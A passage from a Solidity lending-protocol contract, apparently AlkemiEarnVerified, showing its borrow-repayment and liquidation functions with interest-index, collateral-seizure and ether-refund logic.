* @notice Users repay borrowed assets from their own address to the protocol.
* @param asset The market asset to repay
* @param amount The amount to repay (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function repayBorrow(address asset, uint256 amount)
public
payable
nonReentrant
returns (uint256)
{
if (paused) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.REPAY_BORROW_CONTRACT_PAUSED
);
}
refreshAlkIndex(asset, msg.sender, false, true);
PayBorrowLocalVars memory localResults;
Market storage market = markets[asset];
Balance storage borrowBalance = borrowBalances[msg.sender][asset];
Error err;
uint256 rateCalculationResultCode;
// We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset
(err, localResults.newBorrowIndex) = calculateInterestIndex(
market.borrowIndex,
market.borrowRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED
);
}
(err, localResults.userBorrowCurrent) = calculateBalance(
borrowBalance.principal,
borrowBalance.interestIndex,
localResults.newBorrowIndex
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED
);
}
uint256 reimburseAmount;
// If the user specifies -1 amount to repay (“max”), repayAmount =>
// the lesser of the senders ERC-20 balance and borrowCurrent
if (asset != wethAddress) {
if (amount == uint256(-1)) {
localResults.repayAmount = min(
getBalanceOf(asset, msg.sender),
localResults.userBorrowCurrent
);
} else {
localResults.repayAmount = amount;
}
} else {
// To calculate the actual repay use has to do and reimburse the excess amount of ETH collected
if (amount > localResults.userBorrowCurrent) {
localResults.repayAmount = localResults.userBorrowCurrent;
(err, reimburseAmount) = sub(
amount,
localResults.userBorrowCurrent
); // reimbursement called at the end to make sure function does not have any other errors
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
} else {
localResults.repayAmount = amount;
}
}
// Subtract the `repayAmount` from the `userBorrowCurrent` to get `userBorrowUpdated`
// Note: this checks that repayAmount is less than borrowCurrent
(err, localResults.userBorrowUpdated) = sub(
localResults.userBorrowCurrent,
localResults.repayAmount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
// Fail gracefully if asset is not approved or has insufficient balance
// Note: this checks that repayAmount is less than or equal to their ERC-20 balance
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
revertEtherToUser(msg.sender, msg.value);
err = checkTransferIn(asset, msg.sender, localResults.repayAmount);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE
);
}
}
// We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow
// Note that, even though the customer is paying some of their borrow, if they've accumulated a lot of interest since their last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(err, localResults.newTotalBorrows) = addThenSub(
market.totalBorrows,
localResults.userBorrowUpdated,
borrowBalance.principal
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED
);
}
// We need to calculate what the updated cash will be after we transfer in from user
localResults.currentCash = getCash(asset);
(err, localResults.updatedCash) = add(
localResults.currentCash,
localResults.repayAmount
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED
);
}
// The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it.
// We calculate the newSupplyIndex, but we have newBorrowIndex already
(err, localResults.newSupplyIndex) = calculateInterestIndex(
market.supplyIndex,
market.supplyRateMantissa,
market.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
err,
FailureInfo.REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED
);
}
(rateCalculationResultCode, localResults.newSupplyRateMantissa) = market
.interestRateModel
.getSupplyRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
(rateCalculationResultCode, localResults.newBorrowRateMantissa) = market
.interestRateModel
.getBorrowRate(
asset,
localResults.updatedCash,
localResults.newTotalBorrows
);
if (rateCalculationResultCode != 0) {
revertEtherToUser(msg.sender, msg.value);
return
failOpaque(
FailureInfo.REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED,
rateCalculationResultCode
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save market updates
market.blockNumber = block.number;
market.totalBorrows = localResults.newTotalBorrows;
market.supplyRateMantissa = localResults.newSupplyRateMantissa;
market.supplyIndex = localResults.newSupplyIndex;
market.borrowRateMantissa = localResults.newBorrowRateMantissa;
market.borrowIndex = localResults.newBorrowIndex;
// Save user updates
localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowRepaid` event
borrowBalance.principal = localResults.userBorrowUpdated;
borrowBalance.interestIndex = localResults.newBorrowIndex;
if (asset != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(asset, msg.sender, localResults.repayAmount);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.REPAY_BORROW_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == amount) {
uint256 supplyError = supplyEther(localResults.repayAmount);
//Repay excess funds
if (reimburseAmount > 0) {
revertEtherToUser(msg.sender, reimburseAmount);
}
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
supplyOriginationFeeAsAdmin(
asset,
msg.sender,
localResults.repayAmount,
market.supplyIndex
);
emit BorrowRepaid(
msg.sender,
asset,
localResults.repayAmount,
localResults.startingBalance,
borrowBalance.principal
);
return uint256(Error.NO_ERROR); // success
}
/**
* @notice users repay all or some of an underwater borrow and receive collateral
* @param targetAccount The account whose borrow should be liquidated
* @param assetBorrow The market asset to repay
* @param assetCollateral The borrower's market asset to receive in exchange
* @param requestedAmountClose The amount to repay (or -1 for max)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function liquidateBorrow(
address targetAccount,
address assetBorrow,
address assetCollateral,
uint256 requestedAmountClose
) public payable returns (uint256) {
if (paused) {
return
fail(
Error.CONTRACT_PAUSED,
FailureInfo.LIQUIDATE_CONTRACT_PAUSED
);
}
require(liquidators[msg.sender], "LIQUIDATOR_CHECK_FAILED");
refreshAlkIndex(assetCollateral, targetAccount, true, true);
refreshAlkIndex(assetCollateral, msg.sender, true, true);
refreshAlkIndex(assetBorrow, targetAccount, false, true);
LiquidateLocalVars memory localResults;
// Copy these addresses into the struct for use with `emitLiquidationEvent`
// We'll use localResults.liquidator inside this function for clarity vs using msg.sender.
localResults.targetAccount = targetAccount;
localResults.assetBorrow = assetBorrow;
localResults.liquidator = msg.sender;
localResults.assetCollateral = assetCollateral;
Market storage borrowMarket = markets[assetBorrow];
Market storage collateralMarket = markets[assetCollateral];
Balance storage borrowBalance_TargeUnderwaterAsset = borrowBalances[
targetAccount
][assetBorrow];
Balance storage supplyBalance_TargetCollateralAsset = supplyBalances[
targetAccount
][assetCollateral];
// Liquidator might already hold some of the collateral asset
Balance storage supplyBalance_LiquidatorCollateralAsset
= supplyBalances[localResults.liquidator][assetCollateral];
uint256 rateCalculationResultCode; // Used for multiple interest rate calculation calls
Error err; // re-used for all intermediate errors
(err, localResults.collateralPrice) = fetchAssetPrice(assetCollateral);
if (err != Error.NO_ERROR) {
return fail(err, FailureInfo.LIQUIDATE_FETCH_ASSET_PRICE_FAILED);
}
(err, localResults.underwaterAssetPrice) = fetchAssetPrice(assetBorrow);
// If the price oracle is not set, then we would have failed on the first call to fetchAssetPrice
revertIfError(err);
// We calculate newBorrowIndex_UnderwaterAsset and then use it to help calculate currentBorrowBalance_TargetUnderwaterAsset
(
err,
localResults.newBorrowIndex_UnderwaterAsset
) = calculateInterestIndex(
borrowMarket.borrowIndex,
borrowMarket.borrowRateMantissa,
borrowMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET
);
}
(
err,
localResults.currentBorrowBalance_TargetUnderwaterAsset
) = calculateBalance(
borrowBalance_TargeUnderwaterAsset.principal,
borrowBalance_TargeUnderwaterAsset.interestIndex,
localResults.newBorrowIndex_UnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED
);
}
// We calculate newSupplyIndex_CollateralAsset and then use it to help calculate currentSupplyBalance_TargetCollateralAsset
(
err,
localResults.newSupplyIndex_CollateralAsset
) = calculateInterestIndex(
collateralMarket.supplyIndex,
collateralMarket.supplyRateMantissa,
collateralMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET
);
}
(
err,
localResults.currentSupplyBalance_TargetCollateralAsset
) = calculateBalance(
supplyBalance_TargetCollateralAsset.principal,
supplyBalance_TargetCollateralAsset.interestIndex,
localResults.newSupplyIndex_CollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET
);
}
// Liquidator may or may not already have some collateral asset.
// If they do, we need to accumulate interest on it before adding the seized collateral to it.
// We re-use newSupplyIndex_CollateralAsset calculated above to help calculate currentSupplyBalance_LiquidatorCollateralAsset
(
err,
localResults.currentSupplyBalance_LiquidatorCollateralAsset
) = calculateBalance(
supplyBalance_LiquidatorCollateralAsset.principal,
supplyBalance_LiquidatorCollateralAsset.interestIndex,
localResults.newSupplyIndex_CollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
);
}
// We update the protocol's totalSupply for assetCollateral in 2 steps, first by adding target user's accumulated
// interest and then by adding the liquidator's accumulated interest.
// Step 1 of 2: We add the target user's supplyCurrent and subtract their checkpointedBalance
// (which has the desired effect of adding accrued interest from the target user)
(err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub(
collateralMarket.totalSupply,
localResults.currentSupplyBalance_TargetCollateralAsset,
supplyBalance_TargetCollateralAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET
);
}
// Step 2 of 2: We add the liquidator's supplyCurrent of collateral asset and subtract their checkpointedBalance
// (which has the desired effect of adding accrued interest from the calling user)
(err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub(
localResults.newTotalSupply_ProtocolCollateralAsset,
localResults.currentSupplyBalance_LiquidatorCollateralAsset,
supplyBalance_LiquidatorCollateralAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
);
}
// We calculate maxCloseableBorrowAmount_TargetUnderwaterAsset, the amount of borrow that can be closed from the target user
// This is equal to the lesser of
// 1. borrowCurrent; (already calculated)
// 2. ONLY IF MARKET SUPPORTED: discountedRepayToEvenAmount:
// discountedRepayToEvenAmount=
// shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)]
// 3. discountedBorrowDenominatedCollateral
// [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
// Here we calculate item 3. discountedBorrowDenominatedCollateral =
// [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
(
err,
localResults.discountedBorrowDenominatedCollateral
) = calculateDiscountedBorrowDenominatedCollateral(
localResults.underwaterAssetPrice,
localResults.collateralPrice,
localResults.currentSupplyBalance_TargetCollateralAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED
);
}
if (borrowMarket.isSupported) {
// Market is supported, so we calculate item 2 from above.
(
err,
localResults.discountedRepayToEvenAmount
) = calculateDiscountedRepayToEvenAmount(
targetAccount,
localResults.underwaterAssetPrice,
assetBorrow
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED
);
}
// We need to do a two-step min to select from all 3 values
// min1&3 = min(item 1, item 3)
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.discountedBorrowDenominatedCollateral
);
// min1&3&2 = min(min1&3, 2)
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset,
localResults.discountedRepayToEvenAmount
);
} else {
// Market is not supported, so we don't need to calculate item 2.
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.discountedBorrowDenominatedCollateral
);
}
// If liquidateBorrowAmount = -1, then closeBorrowAmount_TargetUnderwaterAsset = maxCloseableBorrowAmount_TargetUnderwaterAsset
if (assetBorrow != wethAddress) {
if (requestedAmountClose == uint256(-1)) {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = localResults
.maxCloseableBorrowAmount_TargetUnderwaterAsset;
} else {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose;
}
} else {
// To calculate the actual repay use has to do and reimburse the excess amount of ETH collected
if (
requestedAmountClose >
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
) {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = localResults
.maxCloseableBorrowAmount_TargetUnderwaterAsset;
(err, localResults.reimburseAmount) = sub(
requestedAmountClose,
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
); // reimbursement called at the end to make sure function does not have any other errors
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED
);
}
} else {
localResults
.closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose;
}
}
// From here on, no more use of `requestedAmountClose`
// Verify closeBorrowAmount_TargetUnderwaterAsset <= maxCloseableBorrowAmount_TargetUnderwaterAsset
if (
localResults.closeBorrowAmount_TargetUnderwaterAsset >
localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset
) {
return
fail(
Error.INVALID_CLOSE_AMOUNT_REQUESTED,
FailureInfo.LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH
);
}
// seizeSupplyAmount_TargetCollateralAsset = closeBorrowAmount_TargetUnderwaterAsset * priceBorrow/priceCollateral *(1+liquidationDiscount)
(
err,
localResults.seizeSupplyAmount_TargetCollateralAsset
) = calculateAmountSeize(
localResults.underwaterAssetPrice,
localResults.collateralPrice,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo.LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED
);
}
// We are going to ERC-20 transfer closeBorrowAmount_TargetUnderwaterAsset of assetBorrow into protocol
// Fail gracefully if asset is not approved or has insufficient balance
if (assetBorrow != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
err = checkTransferIn(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE);
}
}
// We are going to repay the target user's borrow using the calling user's funds
// We update the protocol's totalBorrow for assetBorrow, by subtracting the target user's prior checkpointed balance,
// adding borrowCurrent, and subtracting closeBorrowAmount_TargetUnderwaterAsset.
// Subtract the `closeBorrowAmount_TargetUnderwaterAsset` from the `currentBorrowBalance_TargetUnderwaterAsset` to get `updatedBorrowBalance_TargetUnderwaterAsset`
(err, localResults.updatedBorrowBalance_TargetUnderwaterAsset) = sub(
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
// We have ensured above that localResults.closeBorrowAmount_TargetUnderwaterAsset <= localResults.currentBorrowBalance_TargetUnderwaterAsset, so the sub can't underflow
revertIfError(err);
// We calculate the protocol's totalBorrow for assetBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow
// Note that, even though the liquidator is paying some of the borrow, if the borrow has accumulated a lot of interest since the last
// action, the updated balance *could* be higher than the prior checkpointed balance.
(
err,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
) = addThenSub(
borrowMarket.totalBorrows,
localResults.updatedBorrowBalance_TargetUnderwaterAsset,
borrowBalance_TargeUnderwaterAsset.principal
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET
);
}
// We need to calculate what the updated cash will be after we transfer in from liquidator
localResults.currentCash_ProtocolUnderwaterAsset = getCash(assetBorrow);
(err, localResults.updatedCash_ProtocolUnderwaterAsset) = add(
localResults.currentCash_ProtocolUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_TOTAL_CASH_CALCULATION_FAILED_BORROWED_ASSET
);
}
// The utilization rate has changed! We calculate a new supply index, borrow index, supply rate, and borrow rate for assetBorrow
// (Please note that we don't need to do the same thing for assetCollateral because neither cash nor borrows of assetCollateral happen in this process.)
// We calculate the newSupplyIndex_UnderwaterAsset, but we already have newBorrowIndex_UnderwaterAsset so don't recalculate it.
(
err,
localResults.newSupplyIndex_UnderwaterAsset
) = calculateInterestIndex(
borrowMarket.supplyIndex,
borrowMarket.supplyRateMantissa,
borrowMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_BORROWED_ASSET
);
}
(
rateCalculationResultCode,
localResults.newSupplyRateMantissa_ProtocolUnderwaterAsset
) = borrowMarket.interestRateModel.getSupplyRate(
assetBorrow,
localResults.updatedCash_ProtocolUnderwaterAsset,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo
.LIQUIDATE_NEW_SUPPLY_RATE_CALCULATION_FAILED_BORROWED_ASSET,
rateCalculationResultCode
);
}
(
rateCalculationResultCode,
localResults.newBorrowRateMantissa_ProtocolUnderwaterAsset
) = borrowMarket.interestRateModel.getBorrowRate(
assetBorrow,
localResults.updatedCash_ProtocolUnderwaterAsset,
localResults.newTotalBorrows_ProtocolUnderwaterAsset
);
if (rateCalculationResultCode != 0) {
return
failOpaque(
FailureInfo
.LIQUIDATE_NEW_BORROW_RATE_CALCULATION_FAILED_BORROWED_ASSET,
rateCalculationResultCode
);
}
// Now we look at collateral. We calculated target user's accumulated supply balance and the supply index above.
// Now we need to calculate the borrow index.
// We don't need to calculate new rates for the collateral asset because we have not changed utilization:
// - accumulating interest on the target user's collateral does not change cash or borrows
// - transferring seized amount of collateral internally from the target user to the liquidator does not change cash or borrows.
(
err,
localResults.newBorrowIndex_CollateralAsset
) = calculateInterestIndex(
collateralMarket.borrowIndex,
collateralMarket.borrowRateMantissa,
collateralMarket.blockNumber,
block.number
);
if (err != Error.NO_ERROR) {
return
fail(
err,
FailureInfo
.LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET
);
}
// We checkpoint the target user's assetCollateral supply balance, supplyCurrent - seizeSupplyAmount_TargetCollateralAsset at the updated index
(err, localResults.updatedSupplyBalance_TargetCollateralAsset) = sub(
localResults.currentSupplyBalance_TargetCollateralAsset,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
// The sub won't underflow because because seizeSupplyAmount_TargetCollateralAsset <= target user's collateral balance
// maxCloseableBorrowAmount_TargetUnderwaterAsset is limited by the discounted borrow denominated collateral. That limits closeBorrowAmount_TargetUnderwaterAsset
// which in turn limits seizeSupplyAmount_TargetCollateralAsset.
revertIfError(err);
// We checkpoint the liquidating user's assetCollateral supply balance, supplyCurrent + seizeSupplyAmount_TargetCollateralAsset at the updated index
(
err,
localResults.updatedSupplyBalance_LiquidatorCollateralAsset
) = add(
localResults.currentSupplyBalance_LiquidatorCollateralAsset,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
// We can't overflow here because if this would overflow, then we would have already overflowed above and failed
// with LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET
revertIfError(err);
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
// Save borrow market updates
borrowMarket.blockNumber = block.number;
borrowMarket.totalBorrows = localResults
.newTotalBorrows_ProtocolUnderwaterAsset;
// borrowMarket.totalSupply does not need to be updated
borrowMarket.supplyRateMantissa = localResults
.newSupplyRateMantissa_ProtocolUnderwaterAsset;
borrowMarket.supplyIndex = localResults.newSupplyIndex_UnderwaterAsset;
borrowMarket.borrowRateMantissa = localResults
.newBorrowRateMantissa_ProtocolUnderwaterAsset;
borrowMarket.borrowIndex = localResults.newBorrowIndex_UnderwaterAsset;
// Save collateral market updates
// We didn't calculate new rates for collateralMarket (because neither cash nor borrows changed), just new indexes and total supply.
collateralMarket.blockNumber = block.number;
collateralMarket.totalSupply = localResults
.newTotalSupply_ProtocolCollateralAsset;
collateralMarket.supplyIndex = localResults
.newSupplyIndex_CollateralAsset;
collateralMarket.borrowIndex = localResults
.newBorrowIndex_CollateralAsset;
// Save user updates
localResults
.startingBorrowBalance_TargetUnderwaterAsset = borrowBalance_TargeUnderwaterAsset
.principal; // save for use in event
borrowBalance_TargeUnderwaterAsset.principal = localResults
.updatedBorrowBalance_TargetUnderwaterAsset;
borrowBalance_TargeUnderwaterAsset.interestIndex = localResults
.newBorrowIndex_UnderwaterAsset;
localResults
.startingSupplyBalance_TargetCollateralAsset = supplyBalance_TargetCollateralAsset
.principal; // save for use in event
supplyBalance_TargetCollateralAsset.principal = localResults
.updatedSupplyBalance_TargetCollateralAsset;
supplyBalance_TargetCollateralAsset.interestIndex = localResults
.newSupplyIndex_CollateralAsset;
localResults
.startingSupplyBalance_LiquidatorCollateralAsset = supplyBalance_LiquidatorCollateralAsset
.principal; // save for use in event
supplyBalance_LiquidatorCollateralAsset.principal = localResults
.updatedSupplyBalance_LiquidatorCollateralAsset;
supplyBalance_LiquidatorCollateralAsset.interestIndex = localResults
.newSupplyIndex_CollateralAsset;
// We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above)
if (assetBorrow != wethAddress) {
// WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically
revertEtherToUser(msg.sender, msg.value);
err = doTransferIn(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
if (err != Error.NO_ERROR) {
// This is safe since it's our first interaction and it didn't do anything if it failed
return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_FAILED);
}
} else {
if (msg.value == requestedAmountClose) {
uint256 supplyError = supplyEther(
localResults.closeBorrowAmount_TargetUnderwaterAsset
);
//Repay excess funds
if (localResults.reimburseAmount > 0) {
revertEtherToUser(
localResults.liquidator,
localResults.reimburseAmount
);
}
if (supplyError != 0) {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.WETH_ADDRESS_NOT_SET_ERROR,
FailureInfo.WETH_ADDRESS_NOT_SET_ERROR
);
}
} else {
revertEtherToUser(msg.sender, msg.value);
return
fail(
Error.ETHER_AMOUNT_MISMATCH_ERROR,
FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR
);
}
}
supplyOriginationFeeAsAdmin(
assetBorrow,
localResults.liquidator,
localResults.closeBorrowAmount_TargetUnderwaterAsset,
localResults.newSupplyIndex_UnderwaterAsset
);
emit BorrowLiquidated(
localResults.targetAccount,
localResults.assetBorrow,
localResults.currentBorrowBalance_TargetUnderwaterAsset,
localResults.closeBorrowAmount_TargetUnderwaterAsset,
localResults.liquidator,
localResults.assetCollateral,
localResults.seizeSupplyAmount_TargetCollateralAsset
);
return uint256(Error.NO_ERROR); // success
}
/**
* @dev This should ONLY be called if market is supported. It returns shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)]
* If the market isn't supported, we support liquidation of asset regardless of shortfall because we want borrows of the unsupported asset to be closed.
* Note that if collateralRatio = liquidationDiscount + 1, then the denominator will be zero and the function will fail with DIVISION_BY_ZERO.
* @return Return values are expressed in 1e18 scale
*/
function calculateDiscountedRepayToEvenAmount(
address targetAccount,
Exp memory underwaterAssetPrice,
address assetBorrow
) internal view returns (Error, uint256) {
Error err;
Exp memory _accountLiquidity; // unused return value from calculateAccountLiquidity
Exp memory accountShortfall_TargetUser;
Exp memory collateralRatioMinusLiquidationDiscount; // collateralRatio - liquidationDiscount
Exp memory discountedCollateralRatioMinusOne; // collateralRatioMinusLiquidationDiscount - 1, aka collateralRatio - liquidationDiscount - 1
Exp memory discountedPrice_UnderwaterAsset;
Exp memory rawResult;
// we calculate the target user's shortfall, denominated in Ether, that the user is below the collateral ratio
(
err,
_accountLiquidity,
accountShortfall_TargetUser
) = calculateAccountLiquidity(targetAccount);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, collateralRatioMinusLiquidationDiscount) = subExp(
collateralRatio,
liquidationDiscount
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, discountedCollateralRatioMinusOne) = subExp(
collateralRatioMinusLiquidationDiscount,
Exp({mantissa: mantissaOne})
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, discountedPrice_UnderwaterAsset) = mulExp(
underwaterAssetPrice,
discountedCollateralRatioMinusOne
);
// calculateAccountLiquidity multiplies underwaterAssetPrice by collateralRatio
// discountedCollateralRatioMinusOne < collateralRatio
// so if underwaterAssetPrice * collateralRatio did not overflow then
// underwaterAssetPrice * discountedCollateralRatioMinusOne can't overflow either
revertIfError(err);
/* The liquidator may not repay more than what is allowed by the closeFactor */
uint256 borrowBalance = getBorrowBalance(targetAccount, assetBorrow);
Exp memory maxClose;
(err, maxClose) = mulScalar(
Exp({mantissa: closeFactorMantissa}),
borrowBalance
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(maxClose, discountedPrice_UnderwaterAsset);
// It's theoretically possible an asset could have such a low price that it truncates to zero when discounted.
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @dev discountedBorrowDenominatedCollateral = [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow)
* @return Return values are expressed in 1e18 scale
*/
function calculateDiscountedBorrowDenominatedCollateral(
Exp memory underwaterAssetPrice,
Exp memory collateralPrice,
uint256 supplyCurrent_TargetCollateralAsset
) internal view returns (Error, uint256) {
// To avoid rounding issues, we re-order and group the operations so we do 1 division and only at the end
// [supplyCurrent * (Oracle price for the collateral)] / [ (1 + liquidationDiscount) * (Oracle price for the borrow) ]
Error err;
Exp memory onePlusLiquidationDiscount; // (1 + liquidationDiscount)
Exp memory supplyCurrentTimesOracleCollateral; // supplyCurrent * Oracle price for the collateral
Exp memory onePlusLiquidationDiscountTimesOracleBorrow; // (1 + liquidationDiscount) * Oracle price for the borrow
Exp memory rawResult;
(err, onePlusLiquidationDiscount) = addExp(
Exp({mantissa: mantissaOne}),
liquidationDiscount
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, supplyCurrentTimesOracleCollateral) = mulScalar(
collateralPrice,
supplyCurrent_TargetCollateralAsset
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, onePlusLiquidationDiscountTimesOracleBorrow) = mulExp(
onePlusLiquidationDiscount,
underwaterAssetPrice
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
(err, rawResult) = divExp(
supplyCurrentTimesOracleCollateral,
onePlusLiquidationDiscountTimesOracleBorrow
);
if (err != Error.NO_ERROR) {
return (err, 0);
}
return (Error.NO_ERROR, truncate(rawResult));
}
/**
* @dev returns closeBorrowAmount_TargetUnderwaterAsset * (1+liquidationDiscount) * priceBorrow/priceCollateral
